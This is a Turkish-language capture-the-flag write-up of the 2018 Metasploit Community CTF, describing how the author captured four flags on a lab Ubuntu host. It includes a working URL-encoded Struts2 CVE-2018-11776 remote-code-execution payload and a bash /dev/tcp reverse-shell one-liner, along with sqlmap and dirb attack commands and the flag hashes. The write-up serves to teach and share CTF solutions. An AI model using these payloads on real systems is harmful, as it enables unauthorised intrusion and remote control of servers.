METASPLOIT CTF Rapid7 şirketi tarafından geleneksel olarak düzenlenen uluslararası bir CTF organizasyonudur. Yazımda, yarışma boyunca yakaladığım 4 farklı bayrağın nasıl ele geçirileceğini sizlere aktarmaya çalışacağım.

  • MetasploitCTF
  • Rapid7 - Announcing the 2018 Metasploit Community CTF
  • Yarışmada 3 farklı makine mevcuttu. Birincisi, hedefimiz olan diğer 2 makineye bağlanmamızı sağlayan Kali Linux işletim sistemiydi..

    Diğer ikisi ise hedefimiz olan Ubuntu ve Windows makineleriydi.

    Çok basit ve güzel bir yarışma konsepti vardı. Yakalamamız gereken tüm bayraklar ".png" resim formatındaydı. Soruların açıklamalarında herhangi bir ipucu bulunmuyordu. Sorular sadece bayrakların içeriğini anlatıyordu. Dolayısıyla sürpriz bayraklar barındıran bir CTF yarışması yaşadım :)

    İlk olarak Kali Linux makinesine "SSH" servisi aracılığıyla bağlanıyoruz. Bu bağlantıyı kurmak için bize "pem" dosyası verilmiş. Bildirimde de belirtildiği gibi, bu dosyanın yetkisini veriyoruz. Daha sonra kullanıcımız "ec2-user" ile ssh servisine bağlanıyoruz.

    ssh -i metasploit_ctf_kali_ssh_key.pem ec2-user@34.230.21.254
    

    Bağlantı kurduktan sonra "sudo -i" komutuyla "ec2-user" kullanıcısından "root" kullanıcısına geçiş yapabiliyoruz.

    Bulunduğumuz ağdaki IP adresimize göz atalım.

    Kali Linux makinamız 172.16.23.0/24 bloğunda 172.16.23.20 adresini almış olarak görünüyor. İşlemlerimizi bu doğrultuda gerçekleştireceğiz. Kali linux içerisinde bir çok araç mevcut. Fakat şuan en çok ihtiyacımız olan "NMAP" aracını kullanacağız. NMAP sayesinde hedeflerimize ait servisleri ve sürümleri kontrol ederek, saldırı senaryosu oluşturacağız. Hedeflerimizi aşağıdaki komutla taratabiliriz.

    nmap -sS -T4 -sV -p- [target]
    

    Hedeflerimiz hakkında bilgi topladık. Yarışma boyunca Windows hedefe saldıracak vaktim olmadı. Bir kaç deneme gerçekleştirdim ancak ele geçiremedim. Bu yüzden Ubuntu hedefimize yönelik çözümler aktaracağım.

    Hedeflerimizde aktif olarak çalışan web servislerinin olduğunu görüyoruz. Çözüm kolaylığı ve etkileşim için bu servislere tarayıcı üzerinden erişmemiz gerekiyor. İşte bu noktada "proxychains" bize yardımcı olabilir. SSH servisine atayacağımız port ile bağlanarak, tarayıcımızı proxychains ile bu porta yönlendireceğiz.

    8080 portunu kullanmayı tercih ettim. SSH servisine bağlanırken aşağıdaki gibi köprü kuracak olan portu belirtebiliriz.

    ssh -D 8080 -i metasploit_ctf_kali_ssh_key.pem ec2-user@34.230.21.254
    

    Daha sonra kendi bilgisayarımızda proxychains socks4 konfigürasyonu 127.0.0.1 olarak lokal adresimize atıyoruz.

    Son olarak tarayıcımızı proxychains ile çalıştırabiliriz.

    Görüldüğü gibi problemsiz bir şekilde bağlantı sağlayabiliyoruz

    Sorularımıza geçelim.

    10 of Hearts (Port:8080 - Target:Ubuntu)

    8080 portu üzerinde Struts2 uygulaması çalışmakta.

    Çok fazla detaya girmeyeceğim. Birçok exploit denedim. CVE-2017-5638 zafiyeti de dahil. Ancak 2018 yılında yayınlanan CVE-2018-11776 kodlu yeni bir zafiyet vardı. Zafiyeti kanıtlayan bu makaleyi inceleyebilirsiniz.(https://github.com/hook-s3c/CVE-2018-11776-Python-PoC)

    Exploiti okuduktan sonra aşağıdaki gibi bir payload ile uzaktan kod çalıştırma(Remote Code Execution) yapılabilir.

    http://172.16.23.21:8080/showcase.action/%24%7B%28%23_memberAccess['allowStaticMethodAccess']%3Dtrue%29.%28%23cmd%3D'[COMMAND HERE]'%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28'os.name'%29.toLowerCase%28%29.contains%28'win'%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B'cmd.exe'%2C'/c'%2C%23cmd%7D%3A%7B'bash'%2C'-c'%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action  
    

    Bu zafiyeti kullanarak uzak oturum açabiliriz ve sunucuda rahatlıkla komut çalıştırabiliriz. Natcat ile uzaktan oturum açmak için aşağıdaki gibi bir bash script komutu kullanabiliriz.

    bash -i >& /dev/tcp/172.16.23.20/6655 0>&1
    

    Herhangi bir port belirleyerek, netcat ile dinlemeye alıyoruz. payload çalıştırıldığında uzak oturum da açılmış oluyor

    Shell elde ettikten sonra bayrağımızı bulmak kalıyor. "find" komutunu kullanarak bayrağın sahip olabileceği isimlere göre tarama yapabiliriz.

    find -name "*flag*"
    find -name "*hearts*"
    find -name "*diamonds*"
    find -name "*clubs*"
    ... 
    

    Bir süre denedikten sonrasında flag dosyasını yakalıyoruz.

    Flag dosyasını onaylamak ve md5 hash halini almak için kendi bilgisayarımıza transfer etmemiz gerekliydi. Bu işlemi dosyanın base64 kodunu alarak gerçekleştirebiliriz.

    Base64 kodu aldıktan sonra, herhangi bir online decode sitesini kullanabilirsiniz. Sonrasında ise bayrağı yakalamış oluyoruz.

    Flag : 38b8c45772c8d254144d4e4f597bc81a

    8 of Diamonds (Port:8181 - Target:Ubuntu)

    8181 portuna erişim sağlandığında "8 of Diamonds" adında bir sayfa ile karşılaşıyoruz. Dolayısıyla hangi soru ile uğraşacağımızı da öğrenmiş oluyoruz.

    İlk önce bunu bir flag olarak düşünsekte, değildi :) Kaynak kodlar incelendiğinde, arkaplanda JavaScript kodlarının çalıştığını görebiliriz.

    Ancak bu resimde bir şeyler gizleniyor olabilir. Resmi indirerek inceliyoruz. Resim dosyası üzerinde steganography yöntemleri ve exif, meta-data gibi veri alanları incelenebilir. Ancak içerdiği kodlara hızlıca göz atmamızı sağlayan "strings" komutuyla kontrol ettiğimizde, bir ipucuyla karşılaşıyoruz.

    texthint = JSObfu

    JSOBfu, Rapid7 tarafından yayınlanmış ve ruby diliyle yazılmış bir Javascript obfuscator aracıdır. (https://github.com/rapid7/jsobfu)

    Ancak biz kaynakta yer alan javascript kodlarını obfuscate değil deobfuscate etmemiz gerekiyor. Github açıklamalarını okuduğumuzda, deobfuscate işlemini gerçekleştirebileceğimiz bir online site bilgisi görüyoruz.

    Javascript kodlarını kopyaladıktan sonra bu site (http://m1el.github.io/esdeobfuscate) üzerinden deobfuscate edebiliriz.

    Deobfuscate işleminden sonra, 2 farklı base64 image kodu olduğunu görüyoruz.

    Birincisi bizi trolleyen image dosyası :) Fakat ikincisi aradığımız bayrak oluyor.

    Flag : e36f54b8a3cae7a137917f16b9690759

    3 of Diamonds (Port:8880 - Target:Ubuntu)

    8880 portuna bağlantı sağlandığında güvenli dosya depolama adlı bir script ile karşılaşıyoruz.

    Siteyi inceledikten sonra, sadece "Unhackable" denilen bölüm dikkatimizi çekiyor. Hacklenip hacklenmeyeceğini göreceğiz :))

    "load.php" üzerinde "KEY" parametresinin çalıştığını keşfediyoruz.

    Sql injection denemezsek ölürüz :)) Sqlmap zamanı!

    Basit parametrelerle saldırıyı başlatıyoruz.

    sqlmap -u "http://172.16.23.21:8880/load.php?KEY=test" --dbs --random-agent
    

    Injection başarılı!

    SQL Injection sonrasında veritabanlarını ve içerdiği tabloları inceliyoruz.

    "files" tablosunda bizi indirebileceğimiz dosyaların base64 hali karşılıyor.

    "security_key" ve "filename" değerlerini net bir şekilde görmek için column isimlerini belirtiyoruz.

    Zaten dosya isimlerinden biri bayrağımız oluyor. Sitenin arayüzünü ve security_key değerlerini kullanarak dosyaları indiriyoruz.

    Dolayısıyla da bayrağı yakalamış oluyoruz.

    Flag : 81c4ddda4cb14c06d4cd4284d5ceb871

    Ayrıca bu soruda "ace of hearts" sorusuna ait ipucu olarak verilmiş key dosyası bulunuyordu. Ek olarak, mysql kullanıcılarının şifreleri kırılarak kullanılabilirdi.

    3 of Clubs (Port:31063 - Target:Ubuntu)

    31063 portuna göz attığımızda, çok basit bir web arayüzü ile karşılaşıyoruz. Bayrağı yakalamamız için özel ve tek bir kelimeye ihtiyacımız olduğunu anlıyoruz.

    Bir çok fikir yürüttükten sonra, Brute Force(Kaba Kuvvet) saldırısı gerçekleştirmemiz gerektiğini anlamalıydık. Brute Force saldırısı için hangi wordlist kullanılacağı iyi düşünülmeliydi.

    Metasploit CTF yarışmasındayız :) Dolayısıyla Metasploit-Framework aracına ait wordlist kullanmalıyız.

    Bu dizinden tüm wordlistleri görebiliriz. (/opt/metasploit-framework/embedded/framework/data/wordlists)

    Sık kullanılan "password.lst" wordlist kullanmayı deneyebiliriz. Bu saldırı için en uygun araç "dirb" olacaktır. Çünkü kelimelerin sonuna ".png" uzantısı koyacağız ve hızlı bir dizin taraması olsun istiyoruz. Aşağıdaki gibi bir dork ile taramayı başlatabiliriz.

    dirb [target] [worlist] -X [extension]
    

    Saldırı başarılı. Dosyamızın adı "splendiferous.png" Erişim sağladığımızda bayrağı da yakalamış oluyoruz.

    Flag : 0462683dc9c84dd769b652b0a726a2a1

    HACKDEERS takımı olarak, yarışmayı toplamda 400 puan ile 1000 takım içerisinden 66. sırada bitirdik.

    Umarım faydalı bir wirte-up olmuştur.

    Azimli günler diliyorum. (AkkuS)